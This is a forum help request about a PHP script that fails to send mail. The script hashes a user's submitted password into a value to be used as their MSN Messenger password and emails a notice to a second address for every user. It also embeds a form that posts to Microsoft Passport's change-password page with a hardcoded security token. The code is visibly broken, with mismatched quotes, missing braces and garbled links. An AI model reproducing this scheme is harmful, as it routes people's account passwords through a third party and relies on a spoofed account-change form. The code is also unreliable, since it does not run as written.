I get no errors. None. And the mail doesn’t send on ANY server I run this script on. Why…?!? ? ?
[code=php]<?PHP
$email = $_POST[’email’];
$x = 16;
$passwd = md5($_POST[‘passwd’]);
$passwd = substr($passwd, 0, $x);
if($_POST[‘submit’] == “Manually”) {
$message = $passwd . “n Copy the above text and set it as your password in MSN. You can now login at <a href=’http://www.kingdombattles.com/groups/login.html’ target=’_blank’><a href=’http://www.kingdombattles.com/groups/login.html’ target=’_blank’>[url]http://www.kingdombattles.com/groups/login.html[/url]</a></a> and the password you submitted on the previous page!
Please note that you will need to use the value above for your password
in MSN Messenger.”;
?>
Your password has been e-mailed to the e-mail address you specified. Please follow the instructions in the e-mail.
<?PHP
mail($email, “Encrypted Password”, $message, “[email protected]”);
mail(“[email protected]”, $email, $email .”has encrypted their MSN Password”, “[email protected]”);
elseif ($_POST[‘submit’] == “Automatically”) {
$message = $passwd . “n Copy the above text and set it as your password in MSN. You can now login at <a href=’http://www.kingdombattles.com/groups/login.html’ target=’_blank’><a href=’http://www.kingdombattles.com/groups/login.html’ target=’_blank’>[url]http://www.kingdombattles.com/groups/login.html[/url]</a></a> and the password you submitted on the previous page!
Please note that you will need to use the value above for your password
in MSN Messenger.”;
?>
<form name=”MSRV_ChangePW_FRM” action=”https://memberservices.passport.net/ppsecure/MSRV_ChangePW.srf?rollrs=11&lc=1033″ method=”post”>
<input type=”hidden” name=”FormName” value=”MSRV_ChangePW_FRM”>
<input type=”hidden” name=”SecTok” value=” 7YH7roTmaEA!0lyWXKcBZ0gnWy8jTsMxZOTVtWZhuXAieoA7zs
WxvZnlW*gNLe7j7hvMUyXu5abg!Oi4JKyTf6Zxt*Voo3zije”>
<tr>
<td class=”PPRLabelText”>E-mail Address</td>
<td class=”PPRLabelItalicText”>[email protected]</td>
</tr>
<tr>
<td class=”PPRLabelText”>Old Password</td>
<td><input name=”CurrPW” type=”PASSWORD” size=”25″ maxlength=”16″ class=”PPRField” autocomplete=”OFF” tabindex=”1″></td>
</tr>
<tr>
<td class=”PPRLabelText”>New Password</td>
<td><input name=”NewPW1″ type=”PASSWORD” size=”25″ maxlength=”16″ class=”PPRField” autocomplete=”OFF” tabindex=”2″></td>
</tr>
<tr>
<td class=”PPSubDesTxt”>Six-character minimum; no spaces</td>
</tr>
<tr>
<td class=”PPRLabelText”>Retype New Password</td>
<td><input name=”NewPW2″ type=”PASSWORD” size=”25″ maxlength=”16″ class=”PPRField” autocomplete=”OFF” tabindex=”3″></td>
</tr>
<tr>
<td colspan=”2″ align=”center”><input name=”Submit” type=”SUBMIT” class=”PPRSbmtBtn” tabindex=”6″ value=”Continue”></td>
</tr>
</form>
<?PHP
echo “Your password has been e-mailed to the e-mail address you specified so that you can login to MSN Messenger.”;
mail($email, “Encrypted Password”, $message, “[email protected]”);
mail(“[email protected]”, $email, $email .”has encrypted their MSN Password”, “[email protected]”);
}
?>